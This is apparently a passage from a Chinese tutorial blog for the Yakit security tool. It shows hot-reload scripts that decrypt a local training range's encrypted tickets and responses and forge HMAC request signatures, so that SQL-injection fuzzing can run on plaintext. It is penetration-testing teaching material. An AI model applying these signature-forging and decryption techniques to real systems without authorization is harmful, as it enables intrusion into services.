style="color:#393A34">~</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#00009f">if</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">!</span><span class="token function" style="color:#d73a49">isTargetRequest</span><span class="token punctuation" style="color:#393A34">(</span><span class="token boolean" style="color:#36acaa">false</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> req</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">&amp;&amp;</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">!</span><span class="token function" style="color:#d73a49">isTargetRequest</span><span class="token punctuation" style="color:#393A34">(</span><span class="token parameter boolean" style="color:#36acaa">true</span><span class="token parameter punctuation" style="color:#393A34">,</span><span class="token parameter"> req</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token function" style="color:#d73a49">modify</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">flow</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword control-flow" style="color:#00009f">return</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    rsp </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> codec</span><span class="token punctuation" style="color:#393A34">.</span><span class="token method function property-access maybe-class-name" style="color:#d73a49">StrconvUnquote</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">flow</span><span class="token punctuation" style="color:#393A34">.</span><span class="token property-access maybe-class-name">Response</span><span class="token punctuation" style="color:#393A34">)</span><span class="token operator" style="color:#393A34">~</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    flow</span><span class="token punctuation" style="color:#393A34">.</span><span class="token property-access maybe-class-name">Response</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> codec</span><span class="token punctuation" style="color:#393A34">.</span><span class="token method function property-access maybe-class-name" style="color:#d73a49">StrconvQuote</span><span class="token punctuation" style="color:#393A34">(</span><span class="token function" style="color:#d73a49">string</span><span class="token punctuation" style="color:#393A34">(</span><span class="token function" style="color:#d73a49">decryptProtectedResponse</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">rsp</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token function" style="color:#d73a49">modify</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">flow</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></span></code></pre></div></div>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="如何在yakit中使用全局热加载">如何在Yakit中使用全局热加载<a href="https://yaklang.com/blog/auto-handle-frontend-encryption-with-global-hot-reload#%E5%A6%82%E4%BD%95%E5%9C%A8yakit%E4%B8%AD%E4%BD%BF%E7%94%A8%E5%85%A8%E5%B1%80%E7%83%AD%E5%8A%A0%E8%BD%BD" class="hash-link" aria-label="如何在Yakit中使用全局热加载的直接链接" title="如何在Yakit中使用全局热加载的直接链接" translate="no">​</a></h2>
<p>到这里，脚本都已经准备好了。下面就是实际启用步骤。</p>
<p>在 Yakit 中进入全局热加载插件管理页面：</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/cd281f94217abd53-ac6bef4fd3a512bf50cb91e8f62f3bdf.png" width="1080" height="195" class="yakdoc-image"></button></p>
<p>然后，按下面的方式操作：</p>
<p>1、新建模板</p>
<p>2、名称可以填写 <code>vulinbox-challenge-api-global</code></p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/2ca426f047351035-75d084e0b18fcb9f331015279bfc7d3d.png" width="865" height="764" class="yakdoc-image"></button></p>
<p>3、将上面的完整脚本粘贴进去</p>
<p>4、保存并启用</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/686c0389e9ed53da-cb34f27c87f7774ac2880e4d58762f5a.png" width="1080" height="618" class="yakdoc-image"></button></p>
<p>启用之后，这个脚本会先于模块级 HotPatch 执行。</p>
<p>也就是说，如果某个模块本身还有单独的 HotPatch，那么当前的执行顺序是：</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">全局热加载 -&gt; 模块 HotPatch</span><br></span></code></pre></div></div>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="具体使用">具体使用<a href="https://yaklang.com/blog/auto-handle-frontend-encryption-with-global-hot-reload#%E5%85%B7%E4%BD%93%E4%BD%BF%E7%94%A8" class="hash-link" aria-label="具体使用的直接链接" title="具体使用的直接链接" translate="no">​</a></h2>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="1在-web-fuzzer-中直接看明文">1、在 Web Fuzzer 中直接看明文<a href="https://yaklang.com/blog/auto-handle-frontend-encryption-with-global-hot-reload#1%E5%9C%A8-web-fuzzer-%E4%B8%AD%E7%9B%B4%E6%8E%A5%E7%9C%8B%E6%98%8E%E6%96%87" class="hash-link" aria-label="1、在 Web Fuzzer 中直接看明文的直接链接" title="1、在 Web Fuzzer 中直接看明文的直接链接" translate="no">​</a></h3>
<p>如果你希望在 Web Fuzzer 中直接看到明文响应，那么原始请求可以写成下面这样：</p>
<div class="language-apache codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-apache codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">GET /api/user/info HTTP/1.1</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Host: 127.0.0.1:18080</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">X-Yak-Force-Plaintext: 1</span><br></span></code></pre></div></div>
<p>这里要注意，<code>X-Yak-Force-Plaintext: 1</code> 不是服务器要求的 Header，而是给全局热加载脚本看的控制开关。</p>
<p>当它存在时，脚本会自动完成两件事：</p>
<p>1、在 <code>beforeRequest</code> 中补上 <code>X-Auth-Signature</code>。</p>
<p>2、在 <code>afterRequest</code> 中把加密响应解成明文。</p>
<p>效果如下：</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/8489f9ea838eafc7-a24cb0e1fa3293f6b90d526d4b504d88.png" width="1080" height="326" class="yakdoc-image"></button></p>
<p>我们点开详情，可以发现 <code>X-Auth-Signature</code> 已经被补上了：</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/206f21b5114a4c69-d5ab38ae7fcf4bd95f11e64f1b9139d6.png" width="1080" height="368" class="yakdoc-image"></button></p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="2在-mitm-中保留在线协议但保存明文结果">2、在 MITM 中保留在线协议，但保存明文结果<a href="https://yaklang.com/blog/auto-handle-frontend-encryption-with-global-hot-reload#2%E5%9C%A8-mitm-%E4%B8%AD%E4%BF%9D%E7%95%99%E5%9C%A8%E7%BA%BF%E5%8D%8F%E8%AE%AE%E4%BD%86%E4%BF%9D%E5%AD%98%E6%98%8E%E6%96%87%E7%BB%93%E6%9E%9C" class="hash-link" aria-label="2、在 MITM 中保留在线协议，但保存明文结果的直接链接" title="2、在 MITM 中保留在线协议，但保存明文结果的直接链接" translate="no">​</a></h3>
<p>MITM 里不建议粗暴地把在线响应直接改成明文。原因很简单，很多前端页面收到响应之后，本来还会执行自己的解密逻辑。如果你在中间层提前把它改成明文，前端反而可能报错。</p>
<p>所以这里采用的是更适合实际调试的方式：</p>
<p>1、浏览器真实收到的仍然是原始密文协议。</p>
<p>2、MITM 保存到数据库中的响应被改写成明文。</p>
<p>这样处理以后，浏览器的页面逻辑不会被破坏，而你在 MITM 历史记录里看到的内容又是可直接分析的。</p>
<p>如下：</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/fb266aba8379e0e2-a89e55044c2a258ce8ec327322356645.png" width="1080" height="501" class="yakdoc-image"></button></p>
<blockquote>
<p>注意：此时浏览器还是正常的密文，但 MITM 保存到数据库里的那条 flow，被改成明文</p>
</blockquote>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="热加载联动">热加载联动<a href="https://yaklang.com/blog/auto-handle-frontend-encryption-with-global-hot-reload#%E7%83%AD%E5%8A%A0%E8%BD%BD%E8%81%94%E5%8A%A8" class="hash-link" aria-label="热加载联动的直接链接" title="热加载联动的直接链接" translate="no">​</a></h2>
<p>一些经常使用热加载的读者看到这可能会觉得，这不就是把原来模块热加载能做的事，搬到全局里做了一遍吗？</p>
<p>是的没错，但是全局热加载真正有说服力的地方，不是能不能做，而是职责怎么分，目前全局热加载和模块热加载会组成 pipeline，也就是 Hook 链路是按照 "全局 -&gt; 模块" 顺序的：</p>
<ul>
<li class="">MITM 这边，beforeRequest /   afterRequest 都是先跑 global，再跑 module。</li>
<li class="">Web Fuzzer 这边，hook 也是串起来的，先 global，后 module。</li>
</ul>
<blockquote>
<p>Web Fuzzer 这里还有个细节要说清楚：Web Fuzzer 的 yak / yak:dyn tag 并不是严格意义上的串联 pipeline。在 hotpatch_chain.go:186 这里，同名 tag handle 的语义更接近：模块实现优先模块没有时回退到全局  也就是说：beforeRequest/afterRequest/mirrorHTTPFlow 这些 hook，pipeline 味道很强{{yak(handle)}} 这种 tag，更像“覆盖 + 回退”，不是两层串着一起跑</p>
</blockquote>
<p>按照现在的职责划分，对于一些复杂的，加密 + SQL 的测试，可以按照全局热加载负责把协议层(加解密部分)先“抹平”，模块热加载再在明文语义层上做漏洞测试：</p>
<p>第一层，Global HotPatch-加解密处理</p>
<ul>
<li class="">自动请求 /api/get-challenge</li>
<li class="">自动解密 challenge</li>
<li class="">自动补 X-Auth-Signature</li>
<li class="">自动把响应还原成明文</li>
<li class="">MITM 存库时统一转成明文</li>
</ul>
<p>第二层，Module HotPatch-具体测试</p>
<ul>
<li class="">SQL 注入 payload 怎么打</li>
<li class="">参数怎么变异</li>
<li class="">响应里的哪个字段算命中</li>
<li class="">哪些业务状态应该标红、提取、打标签</li>
</ul>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="启动靶场-1">启动靶场<a href="https://yaklang.com/blog/auto-handle-frontend-encryption-with-global-hot-reload#%E5%90%AF%E5%8A%A8%E9%9D%B6%E5%9C%BA-1" class="hash-link" aria-label="启动靶场的直接链接" title="启动靶场的直接链接" translate="no">​</a></h2>
<p>启动 vulinbox，搜索 “全局热加载” ，打开 "全局热加载 Pipeline"，向下滑动到 “前端实操台”：</p>
<p><button type="button" class="yakdoc-figure" data-layout="tall" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/426344ef6ba471ea-0da69856a7e31d76fa858e2dfe3355ae.png" width="934" height="1068" class="yakdoc-image"><span class="yakdoc-expand-hint" aria-hidden="true"><span class="yakdoc-expand-hint__text">长图已折叠</span><span class="yakdoc-expand-hint__button">点击展开</span></span></button></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="场景说明-1">场景说明<a href="https://yaklang.com/blog/auto-handle-frontend-encryption-with-global-hot-reload#%E5%9C%BA%E6%99%AF%E8%AF%B4%E6%98%8E-1" class="hash-link" aria-label="场景说明的直接链接" title="场景说明的直接链接" translate="no">​</a></h2>
<p>这次用到的入口有三个：</p>
<p>1、靶场说明页：</p>
<p><code>http://127.0.0.1:18080/api/pipeline/docs</code></p>
<p>2、获取动态会话：</p>
<p><code>http://127.0.0.1:18080/api/pipeline/bootstrap</code></p>
<p>3、订单检索接口：</p>
<p><code>http://127.0.0.1:18080/api/pipeline/orders/search</code></p>
<p>这条链路的交互过程可以概括成一句话：</p>
<p>业务参数明文传，协议头自动补，响应统一解密后再分析。</p>
<p>对应到实际顺序，就是：</p>
<p>1、先请求 <code>/api/pipeline/bootstrap</code></p>
<p>2、解 ticket，拿到 <code>session_id</code> 和 <code>session_key</code></p>
<p>3、构造原始业务请求体</p>
<p>4、计算签名，补三个 <code>X-Pipeline-*</code> 头</p>
<p>5、请求 <code>/api/pipeline/orders/search</code></p>
<p>6、拿到加密响应，再用 <code>session_key</code> 解开</p>
<p>这里还有一个非常重要的细节：</p>
<p>这套靶场的签名故意不覆盖业务 body，只覆盖：</p>
<p><code>1、METHOD</code></p>
<p><code>2、PATH</code></p>
<p><code>3、TIMESTAMP</code></p>
<p>签名公式如下：</p>
<div class="language-sql codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-sql codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">hex</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">HMAC</span><span class="token operator" style="color:#393A34">-</span><span class="token plain">SHA256</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">session_key</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> METHOD </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"\n"</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> PATH </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"\n"</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">TIMESTAMP</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><br></span></code></pre></div></div>
<p>为什么要这么设计？</p>
<p>因为 Yakit 里 <code>beforeRequest</code> 的执行顺序本来就是：</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">全局热加载 -&gt; 模块 HotPatch</span><br></span></code></pre></div></div>
<p>如果签名把 body 也算进去，那么 global 先签名、module 再改 body，签名就会立刻失效，文章里想讲的 pipeline 反而讲不顺。</p>
<p>所以这个教学靶场是刻意做过取舍的：</p>
<p>1、Global 先补协议层头。</p>
<p>2、Module 再继续修改明文业务参数。</p>
<p>3、服务端响应回来之后，Global 先解密。</p>
<p>4、Module 再根据解密后的结果做命中判断。</p>
<p>这样，整条链路就真的能按照 <code>global -&gt; module</code> 跑起来。</p>
<blockquote>
<p>为了突出当前 Yakit 中 Global HotPatch 与 Module HotPatch 的 pipeline 分工，这个教学靶场刻意把请求签名约束收敛到 Header 层，让读者先看懂“全局做协议、模块做业务”的协作方式。真正覆盖 body 的签名协议，是下一层更复杂的话题，这一块会有后续文章，因为它涉及到 global 准备 -&gt; module 变更-&gt; global 最终改动(签名) -&gt; send</p>
</blockquote>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="理清链路">理清链路<a href="https://yaklang.com/blog/auto-handle-frontend-encryption-with-global-hot-reload#%E7%90%86%E6%B8%85%E9%93%BE%E8%B7%AF" class="hash-link" aria-label="理清链路的直接链接" title="理清链路的直接链接" translate="no">​</a></h2>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="先取-bootstrap">先取 bootstrap<a href="https://yaklang.com/blog/auto-handle-frontend-encryption-with-global-hot-reload#%E5%85%88%E5%8F%96-bootstrap" class="hash-link" aria-label="先取 bootstrap的直接链接" title="先取 bootstrap的直接链接" translate="no">​</a></h3>
<p>启动 MITM 免配置，打开 <a href="http://127.0.0.1:18080/api/pipeline/docs" target="_blank" rel="noopener noreferrer" class="">http://127.0.0.1:18080/api/pipeline/docs</a> 后，点击 "获取动态会话"，会捕获到如下数据包：</p>
<div class="language-apache codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-apache codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">GET /api/pipeline/bootstrap HTTP/1.1</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Host: 127.0.0.1:18080</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Referer: http://127.0.0.1:18080/api/pipeline/docs</span><br></span></code></pre></div></div>
<p>服务端会返回一段类似下面这样的响应：</p>
<div class="language-makefile codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-makefile codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">HTTP/1.1 200 OK</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Content-Type: application/json; charset=utf-8</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Date: Tue, 17 Mar 2026 08:12:41 GMT</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Content-Length: 299</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">{</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  "expires_in": 120,</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  "iv": "G0pIfn9t2WiaZA/+jG8nqw==",</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  "request": "plain-json-with-hmac",</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  "response": "aes-cbc-envelope",</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  "ticket": "X+zfkoBJx172ptL9rVxzxZmWEE4xn21b31mo0M8P5OjpN13oRBUO4b+EQoYnBf6sjy+dvaPt3xcinZtUYReK3nQoWk+bMBF35nihHx0DdszbBKUn41cGeITaiaxGqMzqUL+TNmU6VeGpQcEhyUjwag=="</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">}</span><br></span></code></pre></div></div>
<p>这里的 <code>ticket</code> 不是明文，而是用固定引导密钥加密过的一段会话信息。</p>
<p>对应的固定引导密钥是：</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">YakitPipeBootKey</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="先把-ticket-解开">先把 ticket 解开<a href="https://yaklang.com/blog/auto-handle-frontend-encryption-with-global-hot-reload#%E5%85%88%E6%8A%8A-ticket-%E8%A7%A3%E5%BC%80" class="hash-link" aria-label="先把 ticket 解开的直接链接" title="先把 ticket 解开的直接链接" translate="no">​</a></h3>
<p>这一步先不要发业务请求，只做一件事：把 bootstrap 返回里的 <code>ticket</code> 解开，拿到真实的 <code>session_id</code> 和 <code>session_key</code>。</p>
<p>写好处理函数后，把刚才抓到的响应包原文直接贴进去：</p>
<div class="language-makefile codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-makefile codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">BOOTSTRAP_KEY = "YakitPipeBootKey"</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">parseBootstrapTicket = func(packet) {</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    body = poc.GetHTTPPacketBody(packet)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    params = json.loads(body)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    ticketBytes = codec.DecodeBase64(params.ticket)~</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    ivBytes = codec.DecodeBase64(params.iv)~</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    plain = codec.AESCBCDecrypt(BOOTSTRAP_KEY, ticketBytes, ivBytes)~</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    return json.loads(string(plain))</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">}</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">bootstrapPacket = &lt;&lt;&lt;PACKET</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">HTTP/1.1 200 OK</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Content-Type: application/json; charset=utf-8</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Date: Tue, 17 Mar 2026 08:03:10 GMT</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Content-Length: 299</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">{</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  "expires_in": 120,</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  "iv": "q/LXUU6HkdQ62h14UZ5anw==",</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  "request": "plain-json-with-hmac",</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  "response": "aes-cbc-envelope",</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  "ticket": "JCXtWLipDgOROv08Czcedowz9tZqPXuHwQ7hsJ1N7sgsS/5I3Nf8sqTjmLulfU2Xt1f2EQhpGrXqNOciVGHbiuyBzAlJHQW/5esFFrqa6Ph24HW7SWr4dNGGmwbLx8lawk7nvH7eCI5crWfl3BskoQ=="</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">}</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">PACKET</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">println(json.dumps(parseBootstrapTicket(bootstrapPacket), json.withIndent("  ")))</span><br></span></code></pre></div></div>
<p>运行之后，你会得到一段真正有用的明文结果，大致如下：</p>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token property" style="color:#36acaa">"expires_at"</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">1773735281</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token property" style="color:#36acaa">"session_id"</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"610ecc49c20b756f"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token property" style="color:#36acaa">"session_key"</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"zKRgnbfEjP22qFWSwvZbNQ=="</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></span></code></pre></div></div>
<p>到这里为止，你已经拿到了真正要参与后续请求的两个关键字段：</p>
<p><code>1、session_id</code></p>
<p><code>2、session_key</code></p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="手工计算签名">手工计算签名<a href="https://yaklang.com/blog/auto-handle-frontend-encryption-with-global-hot-reload#%E6%89%8B%E5%B7%A5%E8%AE%A1%E7%AE%97%E7%AD%BE%E5%90%8D" class="hash-link" aria-label="手工计算签名的直接链接" title="手工计算签名的直接链接" translate="no">​</a></h3>
<p>接下来准备一个真正的业务 body，例如：</p>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token punctuation" style="color:#393A34">{</span><span class="token property" style="color:#36acaa">"keyword"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"商品4"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token property" style="color:#36acaa">"status"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"已发货"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token property" style="color:#36acaa">"page"</span><span class="token operator" style="color:#393A34">:</span><span class="token number" style="color:#36acaa">1</span><span class="token punctuation" style="color:#393A34">,</span><span class="token property" style="color:#36acaa">"size"</span><span class="token operator" style="color:#393A34">:</span><span class="token number" style="color:#36acaa">10</span><span class="token punctuation" style="color:#393A34">}</span><br></span></code></pre></div></div>
<p>然后再写一个只负责生成签名的 YAK 函数，把上一步解出来的 <code>session_key</code> 填进去，直接生成：</p>
<div class="language-perl codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-perl codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">buildPipelineSignature = func(method, path, sessionKey) {</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    timestamp = sprintf("%d", time.Now().Unix())</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    signRaw = method + "\n" + path + "\n" + timestamp</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    signature = codec.EncodeToHex(codec.HmacSha256(sessionKey, signRaw))</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    return {</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        "timestamp": timestamp,</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        "signature": signature,</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    }</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">}</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">sessionKey = codec.DecodeBase64("zKRgnbfEjP22qFWSwvZbNQ==")~</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">ret = buildPipelineSignature("POST", "/api/pipeline/orders/search", sessionKey)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">println(json.dumps(ret, json.withIndent("  ")))</span><br></span></code></pre></div></div>
<p>执行之后，你会得到两项结果：</p>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token property" style="color:#36acaa">"signature"</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"afcba3b7712aa9ec0a4e8817fee171db73cabbe95172efbcfcfc1bb4068627b0"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token property" style="color:#36acaa">"timestamp"</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"1773735201"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></span></code></pre></div></div>
<p>它们就是你接下来要手工填回 HTTP Raw 的值。</p>
